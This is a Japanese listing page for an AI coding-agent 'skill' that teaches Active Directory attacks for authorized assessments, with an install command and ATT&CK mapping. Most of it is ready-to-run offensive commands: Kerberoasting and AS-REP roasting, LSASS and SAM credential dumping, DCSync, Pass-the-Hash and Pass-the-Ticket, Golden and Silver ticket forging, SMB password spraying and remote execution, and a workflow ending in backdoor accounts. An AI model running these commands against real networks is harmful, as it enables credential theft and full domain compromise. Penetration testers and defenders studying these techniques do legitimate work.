attacking-active-directory について
許可を得た Active Directory 評価向けのセキュリティスキルです。ドメインの列挙、Kerberos 技法、認証情報の取得、横展開を扱い、AD CS や委任、Entra ID の詳細は専用スキルへ案内します。
主な機能
- 01Active Directory ドメインの列挙
- 02Kerberoasting と ASREPRoasting
- 03BloodHound による攻撃経路分析
- 04認証情報のダンプと DCSync
- 05Pass-the-Hash と横展開
活用シーン
- 01ドメインのユーザー、グループ、攻撃経路の把握
- 02ドメイン内の Kerberos リスク評価
- 03許可されたテストでのドメインシステム間の横展開
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ trilwu/ secskills --skill attacking-active-directoryインストール後、Claude Code で/attacking-active-directoryを入力して読み込まれたか確認します。
詳細
Active Directory の攻撃
使用する場面
- AD の偵察と列挙
- Kerberos ベースの攻撃
- ドメインコントローラーからの認証情報のダンプ
- ドメイン内でのラテラルムーブメント
- BloodHound による攻撃経路の分析
- ドメインでの永続化手法
使用しない場面
- Windows 以外/Linux のみの環境 —
enumerating-network-servicesを使用してください - 収集したハッシュのクラック —
cracking-passwordsを使用してください - ドメイン侵害後の永続化 —
establishing-persistenceを使用してください - Entra ID/Azure AD が主な標的 —
attacking-entra-idを使用してください - これらの攻撃を防御側で検知する場合 —
engineering-detectionsを使用してください
ログオン履歴がない、特権を持ちKerberoast可能なアカウントは、典型的なハニーユーザーです。そのアカウントをKerberoastingすると、高精度のアラートが発生します。都合がよすぎるように見えるアカウントをRoastingする前に、recognizing-deception を確認してください。
詳細スキルへの切り替え
AD の権限昇格には、専用の手順スキルが用意されているほど詳しい分野がいくつかあります。列挙によってこれらのいずれかが示された場合は、そのスキルに切り替えてください。ここで説明する一般的な方法論には、それらのスキルに含まれるツール固有の詳細はありません。
| シグナル | スキル |
|---|---|
CA(pKIEnrollmentService)が存在する、certipy find がテンプレートを検出する、ESC1-ESC16 | abusing-adcs |
BloodHound が Unconstrained/Constrained/RBCD 委任、またはコンピューターに対する GenericWrite を検出する | attacking-kerberos-delegation |
| 標的が Entra ID/Azure AD、トークン、PRT、またはハイブリッド ID 同期である | attacking-entra-id |
以下のドメイン攻撃手法(Kerberoasting、DCSync、ラテラルムーブメント)は引き続き適用できます。これらのスキルはその一部の手順に特化しており、完了後はここに戻ります。
Kerberoasting
Windows:
# Check kerberoastable users
.\Rubeus.exe kerberoast /stats
# Roast all
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Target specific user
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.txt
# Target admins only
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap
Linux:
# Impacket GetUserSPNs
GetUserSPNs.py -request -dc-ip 10.10.10.10 domain.local/user:password -outputfile hashes.txt
# With NT hash
GetUserSPNs.py -request -dc-ip 10.10.10.10 -hashes :ntlmhash domain.local/user -outputfile hashes.txt
# Target specific user
GetUserSPNs.py -request-user svc_mssql -dc-ip 10.10.10.10 domain.local/user:password
ハッシュをクラックする:
# Hashcat (TGS-REP)
hashcat -m 13100 hashes.txt wordlist.txt
# John
john --wordlist=wordlist.txt hashes.txt
ASREPRoasting
Windows:
# Enumerate vulnerable users
Get-DomainUser -PreauthNotRequired
# Roast
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
.\Rubeus.exe asreproast /user:victim /format:hashcat
Linux:
# With domain creds
GetNPUsers.py domain.local/user:password -request -format hashcat -outputfile hashes.txt
# Without creds (username list)
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile hashes.txt -dc-ip 10.10.10.10
AS-REP をクラックする:
hashcat -m 18200 hashes.txt wordlist.txt
BloodHound
データ収集:
# Windows - SharpHound
.\SharpHound.exe -c All --zipfilename output.zip
.\SharpHound.exe -c All,GPOLocalGroup
Linux:
# bloodhound-python
bloodhound-python -u user -p password -ns 10.10.10.10 -d domain.local -c All --zip
便利なクエリ:
# Shortest path to Domain Admins
MATCH p=shortestPath((n)-[*1..]->(m:Group {name:'DOMAIN [email protected]'})) RETURN p
# Kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u
# AS-REP Roastable
MATCH (u:User {dontreqpreauth:true}) RETURN u
# Unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
# DCSync rights
MATCH p=(n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN p
認証情報のダンプ
LSASS のダンプ:
# Task Manager: Right-click lsass.exe -> Create dump file
# procdump
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Temp\lsass.dmp full
# Parse offline with mimikatz
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
SAM のダンプ:
# Save hives
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# Extract hashes (Linux)
secretsdump.py -sam sam.hive -system system.hive LOCAL
DCSync(ドメイン):
# secretsdump - dump all
secretsdump.py domain.local/user:[email protected] -just-dc
# Specific user
secretsdump.py domain.local/user:[email protected] -just-dc-user krbtgt
# With NTLM hash
secretsdump.py -hashes :ntlmhash domain.local/[email protected] -just-dc
Pass-the-Hash
Windows:
# Mimikatz
sekurlsa::pth /user:administrator /domain:domain.local /ntlm:hash /run:cmd.exe
Linux:
# NetExec (nxc)
nxc smb 10.10.10.10 -u administrator -H hash
nxc smb 10.10.10.10 -u administrator -H hash -x whoami
# psexec
psexec.py -hashes :hash [email protected]
# wmiexec
wmiexec.py -hashes :hash [email protected]
# evil-winrm
evil-winrm -i 10.10.10.10 -u administrator -H hash
Pass-the-Ticket
チケットのエクスポート:
# Mimikatz
sekurlsa::tickets /export
# Rubeus
.\Rubeus.exe dump /nowrap
.\Rubeus.exe monitor /interval:10
チケットのインポート/使用:
# Mimikatz
kerberos::ptt ticket.kirbi
# Rubeus
.\Rubeus.exe ptt /ticket:base64ticket
# Verify
klist
Linux PtT:
# Convert kirbi to ccache
ticketConverter.py ticket.kirbi ticket.ccache
# Set ticket
export KRB5CCNAME=ticket.ccache
# Use ticket
psexec.py -k -no-pass domain.local/[email protected]
Overpass-the-Hash
# Rubeus - request TGT with NTLM hash
.\Rubeus.exe asktgt /user:administrator /domain:domain.local /rc4:hash /ptt
# With AES key (better OPSEC)
.\Rubeus.exe asktgt /user:administrator /domain:domain.local /aes256:key /ptt
Golden/Silver Ticket
Golden Ticket(TGT):
# Requirements: krbtgt hash, Domain SID
# Mimikatz
kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:hash /ptt
# Rubeus
.\Rubeus.exe golden /rc4:hash /user:administrator /domain:domain.local /sid:S-1-5-21-... /ptt
Silver Ticket(TGS):
# Requirements: Service account hash, Service SPN
# Mimikatz - CIFS service
kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-... /target:dc.domain.local /service:cifs /rc4:hash /ptt
ラテラルムーブメント
NetExec(nxc):
# SMB spray
nxc smb 10.10.10.0/24 -u user -p password
# Execute commands
nxc smb 10.10.10.10 -u admin -p password -x whoami
nxc smb 10.10.10.10 -u admin -H hash -x whoami
# Dump SAM
nxc smb 10.10.10.10 -u admin -p password --sam
# Dump LSA
nxc smb 10.10.10.10 -u admin -p password --lsa
PSExec の派生ツール:
# psexec
psexec.py domain/user:[email protected]
# wmiexec (stealthier)
wmiexec.py domain/user:[email protected]
# smbexec (no service)
smbexec.py domain/user:[email protected]
WinRM:
# PowerShell
Enter-PSSession -ComputerName dc.domain.local -Credential domain\user
# evil-winrm
evil-winrm -i 10.10.10.10 -u administrator -p password
evil-winrm -i 10.10.10.10 -u administrator -H hash
列挙
ドメイン情報:
# PowerView
Get-Domain
Get-DomainController
Get-DomainUser
Get-DomainComputer
Get-DomainGroup
Get-DomainGroupMember "Domain Admins"
Linux での列挙:
# NetExec (nxc, formerly CrackMapExec)
nxc smb 10.10.10.0/24 -u user -p password --users
nxc smb 10.10.10.0/24 -u user -p password --groups
# ldapsearch
ldapsearch -x -H ldap://10.10.10.10 -D '[email protected]' -w 'password' -b "DC=domain,DC=local"
クイックワークフロー
- 初期アクセス → ドメイン認証情報を取得する
- 列挙 → BloodHound のデータ収集を実行する
- Kerberoasting → サービスチケットを抽出してクラックする
- ラテラルムーブメント → 認証情報を使って価値の高い標的へ移動する
- 認証情報のダンプ → 侵害したホスト上で LSASS/SAM をダンプする
- DCSync → DC からすべてのドメインハッシュを抽出する
- 永続化 → Golden Ticket を作成するか、バックドアアカウントを作成する
よくある成功例
- 脆弱なサービスアカウントのパスワードを Kerberoasting する
- 事前認証なしのアカウントを ASREPRoasting する
- BloodHound で DA への短い経路を見つける
- ダンプした認証情報を使って Pass-the-Hash を実行する
- レプリケーション権限を持つ侵害済みアカウントで DCSync を実行する
ツール
- Rubeus - Kerberos 攻撃(Windows)
- Mimikatz - 認証情報のダンプ(Windows)
- Impacket - 包括的なツールキット(Linux)
- BloodHound - AD の関係性をグラフ化
- NetExec(nxc) - AD 用の万能ツール(アーカイブされた CrackMapExec のメンテナンス継続中の後継)
- PowerView - AD の列挙(PowerShell)
- evil-winrm - WinRM アクセス(Linux)
ATT&CK のカバレッジ
secskills-core/ttp-index.json から生成されています。このファイルを編集してから、
python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、
現在の ATT&CK リリースに照らして ID を再確認してください。
初期アクセス(TA0001)
- T1078 有効なアカウント (永続化、権限昇格、防御回避にも該当) —
cracking-passwords、exploiting-cloud-platformsも参照してください
実行(TA0002)
- T1047 Windows Management Instrumentation —
escalating-windows-privilegesも参照してください - T1569 システムサービス —
escalating-windows-privilegesも参照してください
永続化(TA0003)
- T1098 アカウント操作 (権限昇格にも該当) —
establishing-persistenceも参照してください - T1136 アカウントの作成 —
establishing-persistenceも参照してください - T1556 認証プロセスの変更 (認証情報アクセスにも該当) —
establishing-persistenceも参照してください
権限昇格(TA0004)
- T1484 ドメインまたはテナントポリシーの変更 (防御回避にも該当)
認証情報アクセス(TA0006)
- T1003 OS 認証情報のダンプ —
cracking-passwordsも参照してください - T1003.001 LSASS メモリ —
engineering-detectionsも参照してください - T1003.003 NTDS
- T1003.006 DCSync
- T1110.003 パスワードスプレー —
cracking-passwordsも参照してください - T1557 中間者攻撃 (収集にも該当) —
attacking-wireless-networksも参照してください - T1558 Kerberos チケットの窃取または偽造 —
attacking-kerberos-delegationも参照してください - T1558.003 Kerberoasting —
cracking-passwordsも参照してください - T1558.004 AS-REP Roasting
- T1649 認証証明書の窃取または偽造 —
abusing-adcsも参照してください
探索(TA0007)
- T1018 リモートシステム探索 —
enumerating-network-servicesも参照してください - T1069 権限グループの探索 —
exploiting-cloud-platformsも参照してください - T1087 アカウント探索 —
exploiting-cloud-platformsも参照してください
ラテラルムーブメント(TA0008)
- T1021 リモートサービス —
enumerating-network-servicesも参照してください - T1021.001 リモートデスクトッププロトコル
- T1021.002 SMB/Windows 管理共有 —
enumerating-network-servicesも参照してください - T1021.006 Windows リモート管理
- T1550 代替認証情報の使用 (防御回避にも該当)
- T1550.002 Pass the Hash —
cracking-passwordsも参照してください - T1550.003 Pass the Ticket
これらのいずれかに関する検知コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。